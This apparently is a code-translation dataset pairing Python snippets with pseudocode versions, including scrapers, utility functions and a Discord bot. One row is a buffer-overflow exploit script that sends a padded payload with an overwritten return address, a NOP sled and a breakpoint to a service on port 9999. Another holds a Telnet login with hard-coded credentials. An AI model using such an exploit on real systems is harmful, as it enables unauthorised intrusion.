code
stringlengths
10
2.58M
original_code
stringlengths
3
3.18M
original_language
stringclasses
1 value
source
stringclasses
7 values
function construct_query self filter_dict begin comment handle boolean operators first, using recursion to apply them ## if string and in filter_dict or string or in filter_dict or string not in filter_dict begin if length filter_dict != 1 begin raise call InvalidFilterException filter_dict string more than one top-lev...
def construct_query(self, filter_dict): ## handle boolean operators first, using recursion to apply them ## if ('and' in filter_dict) or ('or' in filter_dict) or ('not' in filter_dict): if len(filter_dict) != 1: raise exceptions.InvalidFilterExcep...
Python
nomic_cornstack_python_v1
function round_repeats repeats global_params begin set multiplier = depth_coefficient if not multiplier begin return repeats end return integer ceil multiplier * repeats end function
def round_repeats(repeats, global_params): multiplier = global_params.depth_coefficient if not multiplier: return repeats return int(math.ceil(multiplier * repeats))
Python
nomic_cornstack_python_v1
function markDuplicatesPicard self picardFile begin set which = call _SAMorBAM call _report string Marking duplicates with Picard. set inFile = if expression which == string BAM then _bamFile else _samFile set tempFile = join tempdir string picard-duplicates. + lower which set tempErrFile = join tempdir string picard.e...
def markDuplicatesPicard(self, picardFile): which = self._SAMorBAM() self._report("Marking duplicates with Picard.") inFile = self._bamFile if which == "BAM" else self._samFile tempFile = join(self.tempdir, "picard-duplicates." + which.lower()) tempErrFile = join(self.tempdir, "...
Python
nomic_cornstack_python_v1
function flatten_chained_connection actx connection begin from meshmode.discretization.connection import IdentityDiscretizationConnection , DirectDiscretizationConnection , DiscretizationConnectionElementGroup , make_same_mesh_connection if not has attribute connection string connections begin return connection end if ...
def flatten_chained_connection(actx, connection): from meshmode.discretization.connection import ( IdentityDiscretizationConnection, DirectDiscretizationConnection, DiscretizationConnectionElementGroup, make_same_mesh_connection) if not hasattr(connection, "conne...
Python
nomic_cornstack_python_v1
import os import librosa from librosa.display import specshow from IPython.display import Audio from matplotlib.gridspec import GridSpec , GridSpecFromSubplotSpec import matplotlib.pyplot as plt import numpy as np function show_sample melsg file_id=none label=string offset=0 data_dir=string data load_clip=false begin ...
import os import librosa from librosa.display import specshow from IPython.display import Audio from matplotlib.gridspec import GridSpec, GridSpecFromSubplotSpec import matplotlib.pyplot as plt import numpy as np def show_sample(melsg, file_id=None, label="", offset=0, data_dir='data', load_clip=False): fig = plt....
Python
zaydzuhri_stack_edu_python
function get_vmap_file begin try begin set dataset_name = get args string id print dataset_name return tuple call send_file DATASETS_ROOT + string / + dataset_name + string / + string VMap.csv 200 end except FileNotFoundError begin return tuple call jsonify dict string message string the request VMap file cannot be fou...
def get_vmap_file(): try: dataset_name = request.args.get("id") print(dataset_name) return send_file(DATASETS_ROOT + '/' + dataset_name + '/' + 'VMap.csv'), 200 except FileNotFoundError: return jsonify({'message': 'the request VMap file cannot be found.'}), 404
Python
nomic_cornstack_python_v1
string user.py from django.db import models from django.contrib.auth.models import AbstractBaseUser , BaseUserManager class UserManager extends BaseUserManager begin string UserManager comment pylint: disable=too-many-arguments function create_user self email username password salt description=none begin string inherit...
"""user.py""" from django.db import models from django.contrib.auth.models import AbstractBaseUser, BaseUserManager class UserManager(BaseUserManager): """UserManager""" def create_user(self, email, username, password, salt, description=None): # pylint: disable=too-many-arguments """inherit BaseUserMan...
Python
zaydzuhri_stack_edu_python
function comp_reglist self a b begin if length a != length b begin return false end for i in a begin set found = false for j in b begin if expr == expr begin set found = true break end end if not found begin return false end end return true end function
def comp_reglist(self,a,b): if len(a)!=len(b): return False for i in a: found = False for j in b: if i.expr == j.expr: found = True break if not found: return False re...
Python
nomic_cornstack_python_v1
function property_id self property_id begin set _property_id = property_id end function
def property_id(self, property_id): self._property_id = property_id
Python
nomic_cornstack_python_v1
from collections import deque class TreeNode begin function __init__ self val begin set value = val set left = none set right = none end function end class function describe begin set desc = string Problem : Given a binary tree and a number S, find if the tree has a path from root-to-leaf such that the sum of all the n...
from collections import deque class TreeNode(): def __init__(self, val): self.value = val self.left = None self.right = None def describe(): desc = """ Problem : Given a binary tree and a number S, find if the tree has a path from root-to-leaf such that the sum of all the nod...
Python
zaydzuhri_stack_edu_python
class Node extends object begin function __init__ self x next=none begin set val = x set next = next end function end class set head = none comment 创建一个单链表结构 for count in range 1 6 begin set head = call Node count head end comment 输出节点内容,输出完后,单链表结构也销毁了 while head != none begin comment 输出:5, 4, 3, 2, 1 print val set hea...
class Node(object): def __init__(self, x, next=None): self.val = x self.next = next head = None # 创建一个单链表结构 for count in range(1, 6): head = Node(count, head) # 输出节点内容,输出完后,单链表结构也销毁了 while head != None: print(head.val) # 输出:5, 4, 3, 2, 1 head = head.next
Python
zaydzuhri_stack_edu_python
function get_ipv4_addresses self net_interface begin set results = run string ip addr show dev %s % net_interface set lines = call splitlines comment Example stdout: comment 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000 comment link/ether 48:0f:cf:3c:9d:89 brd ff:ff:ff:ff...
def get_ipv4_addresses(self, net_interface): results = self._runner.run('ip addr show dev %s' % net_interface) lines = results.stdout.splitlines() # Example stdout: # 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000 # link/ether 48:...
Python
nomic_cornstack_python_v1
import csv import json import sys function main argv begin string usage: $ python update_json.py <glueboss-data.csv> <glueboss-data.json> set csv_destination = if expression argv then argv at 0 else string glueboss-data.csv set json_destination = if expression length argv == 2 then argv at 1 else string glueboss-data.j...
import csv import json import sys def main(argv): ''' usage: $ python update_json.py <glueboss-data.csv> <glueboss-data.json> ''' csv_destination = argv[0] if argv else 'glueboss-data.csv' json_destination = argv[1] if len(argv) == 2 else 'glueboss-data.json' fieldnames = ("manufacturer_n...
Python
zaydzuhri_stack_edu_python
string Problem Link: https://practice.geeksforgeeks.org/problems/key-pair/0 Given an array A of N positive integers and another number X. Determine whether or not there exist two elements in A whose sum is exactly X. Input: The first line of input contains an integer T denoting the number of test cases. The first line ...
""" Problem Link: https://practice.geeksforgeeks.org/problems/key-pair/0 Given an array A of N positive integers and another number X. Determine whether or not there exist two elements in A whose sum is exactly X. Input: The first line of input contains an integer T denoting the number of test cases. The first line ...
Python
zaydzuhri_stack_edu_python
function imgRead filename representation begin if representation == LOAD_GRAY_SCALE begin set img = call imread filename 0 end else begin set img = call imread filename set img = call cvtColor img COLOR_BGR2RGB end return as type img string uint8 end function
def imgRead(filename: str, representation: int) -> np.ndarray: if representation==LOAD_GRAY_SCALE: img = cv2.imread(filename,0) else: img = cv2.imread(filename) img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB) return img.astype('uint8')
Python
nomic_cornstack_python_v1
comment 17*. Дано дерево глибини N, кожна внутрішня вершина якого має K (<10) безпосередніх нащадків comment (нумеруються від 1 до K). Корінь дерева має номер 0. Записати в текстовий файл з даними comment ім'ям всі можливі шляхи, що ведуть від кореня до листя. Перебирати шляху, починаючи з «самого лівого» comment і зак...
# 17*. Дано дерево глибини N, кожна внутрішня вершина якого має K (<10) безпосередніх нащадків # (нумеруються від 1 до K). Корінь дерева має номер 0. Записати в текстовий файл з даними # ім'ям всі можливі шляхи, що ведуть від кореня до листя. Перебирати шляху, починаючи з «самого лівого» # і закінчуючи «самим правим» (...
Python
zaydzuhri_stack_edu_python
function __init__ self opt cfg_file=none begin set start = string 00:00 set prio = string 0 set duration = string 0 set sun_delay = string 0 set dow = string Mon,Tue,Wed,Thu,Fr,Sat,Sun call __init__ opt cfg_file end function
def __init__(self, opt, cfg_file=None): self.start = '00:00' self.prio = '0' self.duration = '0' self.sun_delay = '0' self.dow = 'Mon,Tue,Wed,Thu,Fr,Sat,Sun' super(SlavePin, self).__init__(opt, cfg_file)
Python
nomic_cornstack_python_v1
set gan = range 0 10 set easy = string ABCDEFGHIJKL set N = input
gan= range(0,10) easy = 'ABCDEFGHIJKL' N = input()
Python
zaydzuhri_stack_edu_python
function maxCoord self binFac=tuple 1 1 begin assert length binFac == 2 msg string binFac must have 2 elements; binFac = %r % binFac comment The value is even for both amplifiers, even if only using single readout, comment just to keep the system more predictable. The result is that the full image size comment is the s...
def maxCoord(self, binFac=(1,1)): assert len(binFac) == 2, "binFac must have 2 elements; binFac = %r" % binFac # The value is even for both amplifiers, even if only using single readout, # just to keep the system more predictable. The result is that the full image size # is the same for ...
Python
nomic_cornstack_python_v1
from bs4 import BeautifulSoup set html_doc = string <div> <p>This is some text.</p> <p>This is another text.</p> <div> <span>Some more text.</span> </div> </div> set soup = call BeautifulSoup html_doc set text = get text soup comment Output comment This is some text. comment This is another text. comment Some more text...
from bs4 import BeautifulSoup html_doc = """ <div> <p>This is some text.</p> <p>This is another text.</p> <div> <span>Some more text.</span> </div> </div> """ soup = BeautifulSoup(html_doc) text = soup.get_text() # Output # This is some text. # This is another text. # Some more text.
Python
jtatman_500k
function clean_single_character string data_type=string letter begin if data_type == string letter begin set cleaned = sub string [^A-Z] string strip string at slice : 1 : end else if data_type == string number begin set cleaned = sub string sS string 5 sub string oO string 0 sub string [\[\]Iil!|] string 1 string s...
def clean_single_character(string: str, data_type: str = 'letter'): if data_type == 'letter': cleaned = re.sub(r'[^A-Z]', '', string.strip())[:1] elif data_type == 'number': cleaned = re.sub(r'sS', '5', re.sub(r'oO', '0', re.sub(r'[\[\]Iil!|]', '1', string))) cleaned = re.sub(r'[^0-9]',...
Python
nomic_cornstack_python_v1
from bs4 import BeautifulSoup import requests import csv set URL = string https://stackoverflow.com/questions set PAGE_LIMIT = 4 function build_url base_url=URL tab=string newest page=1 begin return string { base_url } ?tab= { tab } &page= { page } end function function scrape_page page=1 begin string Function to scrap...
from bs4 import BeautifulSoup import requests import csv URL = "https://stackoverflow.com/questions" PAGE_LIMIT = 4 def build_url(base_url=URL, tab="newest", page=1): return f"{base_url}?tab={tab}&page={page}" def scrape_page(page=1): """ Function to scrape a single page in stack overflow """ res...
Python
zaydzuhri_stack_edu_python
function check_login_required views_func begin decorator wraps views_func function wrapper request *args **kwargs begin if is_authenticated begin return call views_func request *args keyword kwargs end else begin return call HttpResponse status=401 end end function return wrapper end function
def check_login_required(views_func): @wraps(views_func) def wrapper(request, *args, **kwargs): if request.user.is_authenticated: return views_func(request, *args, **kwargs) else: return HttpResponse(status=401) return wrapper
Python
nomic_cornstack_python_v1
from urllib import request set user_input = string input string Enter URL: print call getheader string Server
from urllib import request user_input = str(input("Enter URL:\t")) print(request.urlopen(user_input).getheader('Server'))
Python
zaydzuhri_stack_edu_python
function create_text_msg self text begin return call BasicMessage user_id=BOT_ID _type=TEXT text=text end function
def create_text_msg(self, text): return BasicMessage(user_id=BOT_ID, _type=Types.TEXT, text=text)
Python
nomic_cornstack_python_v1
import telnetlib comment 指定Telnet服务器 set host = string http://www.dummy.com comment 指定用户帐号 set username = string johnny + string comment 指定用户密码 set password = string 123456 + string comment 创建Telnet类的实例变量 set telnet = call Telnet host comment 登入Telnet服务器,输入用户帐号与密码 call read_until string login: write telnet username c...
import telnetlib #指定Telnet服务器 host = "http://www.dummy.com" #指定用户帐号 username = "johnny" + "\n" #指定用户密码 password = "123456" + "\n" #创建Telnet类的实例变量 telnet = telnetlib.Telnet(host) #登入Telnet服务器,输入用户帐号与密码 telnet.read_until("login: ") telnet.write(username) telnet.read_until("Password: ") telnet.write(password) #输入命令 w...
Python
zaydzuhri_stack_edu_python
function __can_be_partitioned self criteria begin if is instance __arg_samples Unset begin set msg = string Please call `build` on this Cluster before calling `partition` or `iterative_partition`. raise call ValueError msg end comment Cannot partition a cluster with zero radius. comment Every criterion must evaluate to...
def __can_be_partitioned( self, criteria: typing.Sequence[cluster_criteria.ClusterCriterion], ) -> bool: if isinstance(self.__arg_samples, constants.Unset): msg = ( "Please call `build` on this Cluster before calling " "`partition` or `iterative_pa...
Python
nomic_cornstack_python_v1
if point < distance begin print speed * time end else begin print point_2 end print speed * time % 115
if point < distance: print(speed*time) else: print(point_2) print(speed*time%115)
Python
zaydzuhri_stack_edu_python
function setCylinderRadius modelName cylinderRadius=0.5 begin comment Convert to SI units set radius = cylinderRadius * 0.001 set fillet = radius / 10 comment Change geometry set p = parts at string tip set s = sketch call ConstrainedSketch name=string __edit__ objectToCopy=s set s1 = sketches at string __edit__ set tu...
def setCylinderRadius(modelName, cylinderRadius=.5): # Convert to SI units radius = cylinderRadius * 1e-3 fillet = radius / 10 # Change geometry p = mdb.models[modelName].parts['tip'] s = p.features['2D Analytic rigid shell-1'].sketch mdb.models[modelName].ConstrainedSketch(name='__edit__', ...
Python
nomic_cornstack_python_v1
comment 从database模块导入写入数据函数 from database import insert_financedata , insert_populationdata comment 从graph模块中导入绘图函数 from graph import population_draw , finance_draw comment ------------------ comment 向数据库中写入数据 comment ------------------ comment 写入人口数据 call insert_populationdata comment 写入财政数据 call insert_financedata co...
#从database模块导入写入数据函数 from database import insert_financedata, insert_populationdata #从graph模块中导入绘图函数 from graph import population_draw, finance_draw #------------------ #向数据库中写入数据 #------------------ insert_populationdata()#写入人口数据 insert_financedata()#写入财政数据 #---- #绘图 #---- population_draw()#绘制人口情况图 finance_draw()#绘制...
Python
zaydzuhri_stack_edu_python
from collections import deque set k = integer input set deq = deque for i in range 1 10 begin append deq i end for idx in range k begin set ret = call popleft comment retの右に1つ付け加えてできるルンルン数を追加 set residue = ret % 10 if residue != 0 begin append deq ret * 10 + residue - 1 end append deq ret * 10 + residue if residue != 9...
from collections import deque k = int(input()) deq = deque() for i in range(1, 10): deq.append(i) for idx in range(k): ret = deq.popleft() # retの右に1つ付け加えてできるルンルン数を追加 residue = ret % 10 if residue != 0: deq.append(ret * 10 + residue - 1) deq.append(ret * 10 + residue) if resi...
Python
zaydzuhri_stack_edu_python
while i < length begin print students at i marks at i set i = i + 1 end
while i<length: print(students[i],marks[i]) i=i+1
Python
zaydzuhri_stack_edu_python
function secretformular started begin set jellybeans = started * 500 set jars = jellybeans / 1000 set crates = jars / 100 return tuple jellybeans jars crates end function set startpoint = 1000 set tuple beans jars crates = call secretformular startpoint print string With a starting point of : %d % startpoint print stri...
def secretformular(started): jellybeans = started*500 jars = jellybeans/1000 crates=jars/100 return jellybeans,jars,crates startpoint = 1000 beans,jars,crates = secretformular(startpoint) print ("With a starting point of : %d" % startpoint) print ("We;d have %d beans, %d jars and %d crates" % (beans,j...
Python
zaydzuhri_stack_edu_python
comment !/usr/bin/python import socket set server = string 192.168.30.134 set sport = 9999 set prefix = string A * 2006 set eip = string ¯Pb set nopsled = string  * 16 set brk = string Ì set padding = string F * 3000 - 2006 - 4 - 16 - 1 set attack = prefix + eip + nopsled + brk + padding set s = call socket AF_INET S...
#!/usr/bin/python import socket server = '192.168.30.134' sport = 9999 prefix = 'A' * 2006 eip = '\xaf\x11\x50\x62' nopsled = '\x90' * 16 brk = '\xcc' padding = 'F' * (3000 - 2006 - 4 - 16 - 1) attack = prefix + eip + nopsled + brk + padding s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect = s.connect((s...
Python
zaydzuhri_stack_edu_python
comment !/bin/python3 import sys set memoized = dict function hash_key coins n begin return string %s:%s % tuple join string - map str coins n end function function _make_change coins n begin set key = call hash_key coins n if key in memoized begin return memoized at key end if n < 0 begin return 0 end if n == 0 begin...
#!/bin/python3 import sys memoized = {} def hash_key(coins, n): return '%s:%s' % ('-'.join(map(str, coins)), n) def _make_change(coins, n): key = hash_key(coins, n) if key in memoized: return memoized[key] if n < 0: return 0 if n == 0: return 1 if len(coins) == ...
Python
zaydzuhri_stack_edu_python
function fs_integrate self f begin set results = zeros length psigridEv for i in range length psigridEv begin set results at i = sum f dist psicontours at i at tuple 0 slice : : psicontours at i at tuple 1 slice : : psigridEv at i * psicontours_dsbp at i end return results end function
def fs_integrate(self, f): results = np.zeros(len(self.psigridEv)) for i in range(len(self.psigridEv)): results[i] = np.sum(f(self.psicontours[i][0,:], self.psicontours[i][1,:], self.psigridEv[i])*self.psicontours_dsbp[i]) return results
Python
nomic_cornstack_python_v1
import pandas as pd import sys import datetime class TypeInfo begin set MAX_VALS = dict string float decimal string inf ; string date max ; string int maxsize set MIN_VALS = dict string float - decimal string inf ; string date min ; string int - maxsize set INTERVAL_DTYPES = dict string int string interval[int64] ; str...
import pandas as pd import sys import datetime class TypeInfo: MAX_VALS = {"float": float("inf"), "date": pd.Timestamp.max, "int": sys.maxsize} MIN_VALS = {"float": -float("inf"), "date": pd.Timestamp.min, "int": -sys.maxsize} INTERVAL_DTYPES = { "int": "interval[int64]", "float": "inter...
Python
zaydzuhri_stack_edu_python
from ar_words import ar function adi begin set adi_words = dictionary list comprehension list v k for tuple k v in items ar set find_word = input string Enter a russian word: print get adi_words find_word or print string Word not found return call adi end function function rus begin set rus_words = dictionary list comp...
from ar_words import ar def adi(): adi_words=dict([[v, k] for k,v in ar.items()]) find_word=input('Enter a russian word: ' '') print(adi_words.get(find_word) or print('Word not found')) return adi() def rus(): rus_words=dict([[k, v] for k,v in ar.items()]) find_word=input('Enter an A...
Python
zaydzuhri_stack_edu_python
function estimate_lambda pv begin set LOD2 = median call isf pv 1 set L = LOD2 / 0.456 return L end function
def estimate_lambda(pv): LOD2 = np.median(st.chi2.isf(pv,1)) L = (LOD2/0.456) return (L)
Python
nomic_cornstack_python_v1
from sqlalchemy.ext.declarative import declarative_base from sqlalchemy.ext.declarative.api import declared_attr class CustomBase extends object begin decorator declared_attr comment Typically, we declare tablename on a per comment model basis, as shown in the SQLAlchemy docs: comment class Company(Base): comment __tab...
from sqlalchemy.ext.declarative import declarative_base from sqlalchemy.ext.declarative.api import declared_attr class CustomBase(object): # Typically, we declare tablename on a per # model basis, as shown in the SQLAlchemy docs: # # class Company(Base): # __tablename__ = 'company' # id = ...
Python
zaydzuhri_stack_edu_python
function incident self begin set incidence_matrix = call incidence_matrix for H in call Hrep_generator begin if incidence_matrix at tuple index self index H == 1 begin yield H end end end function
def incident(self): incidence_matrix = self.polyhedron().incidence_matrix() for H in self.polyhedron().Hrep_generator(): if incidence_matrix[self.index(), H.index()] == 1: yield H
Python
nomic_cornstack_python_v1
import discord from vars import token import random import sqlite3 from discord.ext import commands , tasks import os from insults import lst_of_insults from itertools import cycle import typing import youtube_dl from discord.utils import get import os set client = call Bot command_prefix=string now set status = cycle ...
import discord from vars import token import random import sqlite3 from discord.ext import commands, tasks import os from insults import lst_of_insults from itertools import cycle import typing import youtube_dl from discord.utils import get import os client = commands.Bot(command_prefix = "now ") status = cycle(["Sim...
Python
zaydzuhri_stack_edu_python
import string set l = list ascii_lowercase insert l 0 string set tuple n k = map str split input set s = 0 if length n < length k begin set l1 = k at slice : length n : set l2 = k at slice length n : : for i in range 0 length n begin set d = absolute index l n at i - index l l1 at i set s = s + d end set su = s for...
import string l=list(string.ascii_lowercase) l.insert(0," ") n,k=map(str,input().split()) s=0 if len(n)<len(k): l1=k[:len(n)] l2=k[len(n):] for i in range(0,len(n)): d=abs(l.index(n[i])-l.index(l1[i])) s=s+d su=s for i in l2: su=s+l.index(i) else: l1=n[:len(k...
Python
zaydzuhri_stack_edu_python
function aggregate_by_event_type record begin return call reduceByKey lambda a b -> a + b end function
def aggregate_by_event_type(record): return record.map(parse_entry)\ .map(lambda record: (record['event'], 1))\ .reduceByKey(lambda a, b: a+b)
Python
nomic_cornstack_python_v1
function now_datetime begin set now = now return string format time now string %Y%m%d%H%M%S end function
def now_datetime(): now = datetime.datetime.now() return now.strftime('%Y%m%d%H%M%S')
Python
nomic_cornstack_python_v1
function DesignPairPlots args begin set plot_dir = args at string <plot_dir> set template_dir = string /home/james/Repositories/BindingSitesFromFragments-Utilities/LatexSuppMat/Templates set template_name = string DesignPairPlots.tex comment http://eosrei.net/articles/2015/11/latex-templates-python-and-jinja2-generate-...
def DesignPairPlots(args): plot_dir = args['<plot_dir>'] template_dir = '/home/james/Repositories/BindingSitesFromFragments-Utilities/LatexSuppMat/Templates' template_name = 'DesignPairPlots.tex' # http://eosrei.net/articles/2015/11/latex-templates-python-and-jinja2-generate-pdfs latex_jinja_env ...
Python
nomic_cornstack_python_v1
string Cracking the Coding Interview Sum Swap Given two arrays of integers, find a pair of values ( one value from each array) that you can swap to give the two arrays the same sum. Example: input: [4, 1, 2, 1, 1, 2] [3, 6, 3, 3] output: [1, 3] function get_sum_and_unique_elems ns begin set sum_ = 0 set set_ = set for ...
""" Cracking the Coding Interview Sum Swap Given two arrays of integers, find a pair of values ( one value from each array) that you can swap to give the two arrays the same sum. Example: input: [4, 1, 2, 1, 1, 2] [3, 6, 3, 3] output: [1, 3] """ def get_sum_and_unique_elems(ns): sum_ = 0 se...
Python
zaydzuhri_stack_edu_python
function convertKelvinToFarenheit K begin if is instance K str == true begin raise call ValueError string Kelvin cannot be a string value end if is instance K complex == true begin raise call ValueError string Kelvin cannot be a complex value end if is instance K int == true begin raise call ValueError string Kelvin sh...
def convertKelvinToFarenheit(K): if isinstance(K, str) == True: raise ValueError("Kelvin cannot be a string value") if isinstance(K,complex) == True: raise ValueError("Kelvin cannot be a complex value") if isinstance(K,int) == True: raise ValueError("Kelvin should be a float value, e...
Python
nomic_cornstack_python_v1
function standard_deviation values sample=false begin return square root call variance values sample end function
def standard_deviation( values, sample=False ): return ma.sqrt( variance( values, sample ) )
Python
nomic_cornstack_python_v1
function _grad_posterior_f self utility datapoints D DT covar_chol covar_inv ret_np=false begin set prior_mean = call _prior_mean datapoints if ret_np begin set utility = tensor utility dtype=dtype set prior_mean = cpu prior_mean end comment NOTE: During the optimization, it can occur that b, p, and g_ are NaNs, though...
def _grad_posterior_f( self, utility: Union[Tensor, np.ndarray], datapoints: Tensor, D: Tensor, DT: Tensor, covar_chol: Tensor, covar_inv: Tensor, ret_np: bool = False, ) -> Union[Tensor, np.ndarray]: prior_mean = self._prior_mean(datapoints) ...
Python
nomic_cornstack_python_v1
comment !/usr/bin/python3 string BaseGeometry module class BaseGeometry begin string Class BaseGeometry function area self begin string Public instance method raise exception string area() is not implemented end function function integer_validator self name value begin string Public instance method validator Check the ...
#!/usr/bin/python3 """ BaseGeometry module """ class BaseGeometry(): """ Class BaseGeometry """ def area(self): """ Public instance method """ raise Exception("area() is not implemented") def integer_validator(self, name, value): """ Public instance method validator Check...
Python
zaydzuhri_stack_edu_python
try begin data end except NameError begin call execfile string plot_ozone_observations.py close plt string all end function anomalies input_data climatology_spline begin set data = input_data set anomaly = mean group by data dayofyear - call climatology_spline unique set index = index if size != size begin comment prin...
try: data except NameError: execfile("plot_ozone_observations.py") plt.close('all') def anomalies(input_data, climatology_spline): data = input_data anomaly = (data.groupby(data.index.dayofyear).mean()-climatology_spline(data.index.dayofyear.unique())) index = data.resample("1D").mean().index ...
Python
zaydzuhri_stack_edu_python
function test_read_file_populates_data_0 begin set storage_manager = string hello set word_list = storage_manager assert word_list is not none assert length word_list == 5 end function
def test_read_file_populates_data_0(): storage_manager = "hello" word_list = storage_manager assert word_list is not None assert len(word_list) == 5
Python
nomic_cornstack_python_v1
function Home request begin set options = list tuple string Sentiments string sentiments tuple string Classification string classification tuple string Entity string entities tuple string Concepts string concepts tuple string Summary string summary return call render request string home.html dict string options options...
def Home(request): options = [ ('Sentiments', 'sentiments'), ('Classification', 'classification'), ('Entity', 'entities'), ('Concepts', 'concepts'), ('Summary', 'summary') ] return render(request, 'home.html', {'options': options})
Python
nomic_cornstack_python_v1
function get_management_ipv6 cls client_object **kwargs begin raise NotImplementedError end function
def get_management_ipv6(cls, client_object, **kwargs): raise NotImplementedError
Python
nomic_cornstack_python_v1
from graphics import * from math import * function main begin comment Draw Window and set coordenates set win = call GraphWin string Draw a line 720 720 call setCoords 0 0 10 10 comment Display text and input set input_r_text = call Text call Point 5 8 string Click anywhere twice and see what you get call draw win set ...
from graphics import * from math import * def main(): #Draw Window and set coordenates win = GraphWin('Draw a line', 720, 720) win.setCoords(0, 0, 10, 10) #Display text and input input_r_text = Text(Point(5, 8), """Click anywhere twice and see what you get""") input_r_text.draw(win) ...
Python
zaydzuhri_stack_edu_python
function deployed name jboss_config salt_source=none begin string Ensures that the given application is deployed on server. jboss_config: Dict with connection properties (see state description) salt_source: How to find the artifact to be deployed. target_file: Where to look in the minion's file system for the artifact ...
def deployed(name, jboss_config, salt_source=None): '''Ensures that the given application is deployed on server. jboss_config: Dict with connection properties (see state description) salt_source: How to find the artifact to be deployed. target_file: Where to look...
Python
jtatman_500k
comment !/usr/bin/python3 string This is the '1-pack-web-static' module. 1-pack-web-static is a Fabric script that generates a .tgz archive from a given location. This module contains 1 function: do_pack(). from fabric.api import * function do_pack begin string This is the 'do_pack' function. do_pack generates a .tgz f...
#!/usr/bin/python3 ''' This is the '1-pack-web-static' module. 1-pack-web-static is a Fabric script that generates a .tgz archive from a given location. This module contains 1 function: do_pack(). ''' from fabric.api import * def do_pack(): '''This is the 'do_pack' function. do_pack generates a .tgz file an...
Python
zaydzuhri_stack_edu_python
import numpy as np from sklearn.pipeline import make_pipeline from sklearn.preprocessing import StandardScaler from sklearn.svm import SVC from sklearn.decomposition import PCA from sklearn.metrics import confusion_matrix , plot_confusion_matrix from time import time import matplotlib.pyplot as plt import csv comment I...
import numpy as np from sklearn.pipeline import make_pipeline from sklearn.preprocessing import StandardScaler from sklearn.svm import SVC from sklearn.decomposition import PCA from sklearn.metrics import confusion_matrix, plot_confusion_matrix from time import time import matplotlib.pyplot as plt import csv # Importi...
Python
zaydzuhri_stack_edu_python
import numpy as np string This is an implementation for extract 4 channels from a raw data receive a raw data as 3D array of size HxWx1 only support GRBG and RGGB function create_CFA raw bayer_type=string GRBG begin set CFA = zeros tuple integer shape at 1 / 2 integer shape at 2 / 2 4 if bayer_type == string GRBG begin...
import numpy as np ''' This is an implementation for extract 4 channels from a raw data receive a raw data as 3D array of size HxWx1 only support GRBG and RGGB ''' def create_CFA(raw,bayer_type = 'GRBG'): CFA = np.zeros((int(raw.shape[1]/2),int(raw.shape[2]/2),4)); if bayer_type == 'GRBG': CFA[:,:...
Python
zaydzuhri_stack_edu_python
from marshmallow import Schema , EXCLUDE , validates , ValidationError from marshmallow.fields import Email , String class RegisterSchema extends Schema begin class Meta begin set unknown = EXCLUDE end class set first_name = call String required=true allow_none=false set last_name = call String required=false allow_non...
from marshmallow import Schema, EXCLUDE, validates, ValidationError from marshmallow.fields import Email, String class RegisterSchema(Schema): class Meta: unknown = EXCLUDE first_name = String(required=True, allow_none=False) last_name = String(required=False, allow_none=False) email = Email...
Python
zaydzuhri_stack_edu_python
function s3_get_utc_offset begin set offset = none if call is_logged_in begin comment 1st choice is the personal preference (useful for GETs if user wishes to see times in their local timezone) set offset = utc_offset if offset begin set offset = strip offset end end if not offset begin comment 2nd choice is what the c...
def s3_get_utc_offset(): offset = None if auth.is_logged_in(): # 1st choice is the personal preference (useful for GETs if user wishes to see times in their local timezone) offset = session.auth.user.utc_offset if offset: offset = offset.strip() if not offset: ...
Python
nomic_cornstack_python_v1
function longest_prefix pref1 pref2 begin set s = string for tuple char1 char2 in zip pref1 pref2 begin if char1 == char2 begin set s = s + char1 end else begin break end end return s end function function divide_list a begin set mid = integer length a / 2 if length a == 1 begin return a at 0 end return call longest_p...
def longest_prefix(pref1, pref2): s = "" for char1, char2 in zip(pref1, pref2): if char1 == char2: s += char1 else: break return s def divide_list(a): mid = int(len(a)/2) if len(a) == 1: return a[0] return (longest_prefix(divide_list(a[:mid]), div...
Python
zaydzuhri_stack_edu_python
comment Zaimplementuj klasę Date, która tworzona jest na podstawie trzech wartości - day, month i year. comment Obiekt klasy powinien zawierać atrybuty day, month i year comment Twoim zadaniem jest sprawdzenie w trakcie tworzenia obiektu, czy podane wartości są poprawne: comment jeśli year nie jest intem - rzucić Inval...
# Zaimplementuj klasę Date, która tworzona jest na podstawie trzech wartości - day, month i year. # Obiekt klasy powinien zawierać atrybuty day, month i year # Twoim zadaniem jest sprawdzenie w trakcie tworzenia obiektu, czy podane wartości są poprawne: # jeśli year nie jest intem - rzucić InvalidYearError # jeśl...
Python
zaydzuhri_stack_edu_python
from bs4 import BeautifulSoup from urllib.request import urlopen function main begin function get_data total_pages begin set page_number = 1 set data = list while page_number <= total_pages begin set url = string http://mga.edu/course-schedule/index.php?quick=ALL&page= + string page_number + string &sort=subj&asc&term...
from bs4 import BeautifulSoup from urllib.request import urlopen def main(): def get_data(total_pages): page_number = 1 data = [] while page_number <= total_pages: url = "http://mga.edu/course-schedule/index.php?quick=ALL&page="+str(page_number)+"&sort=subj&asc&term=201601" ...
Python
zaydzuhri_stack_edu_python
comment A + B - 8 string 2021-01-05 오전 9:52 안영준 문제 두 정수 A와 B를 입력받은 다음, A+B를 출력하는 프로그램을 작성하시오. 입력 첫째 줄에 테스트 케이스의 개수 T가 주어진다. 각 테스트 케이스는 한 줄로 이루어져 있으며, 각 줄에 A와 B가 주어진다. (0 < A, B < 10) 출력 각 테스트 케이스마다 "Case #x: A + B = C" 형식으로 출력한다. x는 테스트 케이스 번호이고 1부터 시작하며, C는 A+B이다. set N = integer input set result_list = list for i in ...
# A + B - 8 """ 2021-01-05 오전 9:52 안영준 문제 두 정수 A와 B를 입력받은 다음, A+B를 출력하는 프로그램을 작성하시오. 입력 첫째 줄에 테스트 케이스의 개수 T가 주어진다. 각 테스트 케이스는 한 줄로 이루어져 있으며, 각 줄에 A와 B가 주어진다. (0 < A, B < 10) 출력 각 테스트 케이스마다 "Case #x: A + B = C" 형식으로 출력한다. x는 테스트 케이스 번호이고 1부터 시작하며, C는 A+B이다. """ N = int(input()) result_list = list() for i in rang...
Python
zaydzuhri_stack_edu_python
function _VerifyRecord self pls_record begin string Verifies a PLS Recall record. Args: pls_record (pls_recall_record): a PLS Recall record to verify. Returns: bool: True if this is a valid PLS Recall record, False otherwise. comment Verify that the timestamp is no more than six years into the future. comment Six years...
